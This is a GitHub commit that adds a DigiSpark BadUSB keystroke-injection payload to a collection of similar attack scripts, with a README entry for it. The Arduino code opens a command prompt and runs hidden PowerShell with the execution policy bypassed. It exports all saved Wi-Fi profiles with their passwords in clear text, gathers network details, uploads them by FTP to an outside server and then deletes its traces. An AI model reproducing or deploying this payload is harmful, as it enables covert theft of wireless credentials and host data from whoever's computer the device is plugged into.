This commit is contained in:
Hacerx 2020-02-17 07:38:46 +00:00 committed by GitHub
commit 49a78e4b81
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 36 additions and 0 deletions

View File

@ -17,6 +17,8 @@ Configure the Arduino IDE for the DigiSpark using: https://digistump.com/wiki/di
>PowerShell Script Executer : Downloads and runs a powershell script.
>Wifi_Profile_Ftp: Using cmd, extracts wifi profiles and send it with ftp
>WiFi_Profile_Grabber: Using cmd, extracts wifi profiles and saves the csv to the usb mounted on d:\
>WiFi_Profile_Mailer : Writes the wireless network credentials to a csv file and emails it.

View File

@ -0,0 +1,5 @@
# Wifi Profile Ftp
Creates xml files with all your Wifi data and send it via FTP to a server.
Working on Windows 10

View File

@ -0,0 +1,29 @@
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT,KEY_R);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("cmd /k mode con:cols=18 lines=1"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("color FE"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("cd %localappdata%"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("mkdir tmp"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("cd tmp"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(200);
DigiKeyboard.print(F("powershell -command "'open ftp.drivehq.com' > dat.txt ; 'USERNAME' >> dat.txt ; 'PASSWORD' >> dat.txt ; 'prompt' >> dat.txt ; 'mput *.*' >> dat.txt ; 'quit' >> dat.txt""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(200);
DigiKeyboard.print(F("powershell -windowstyle hidden -Executionpolicy bypass -command "cd %localappdata%\tmp ; netsh wlan export profile key=clear ; ipconfig > ipc.txt ; netstat -r > nr.txt ; ftp -s:dat.txt ; cd .. ; Remove-Item -Recurse -Force tmp""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }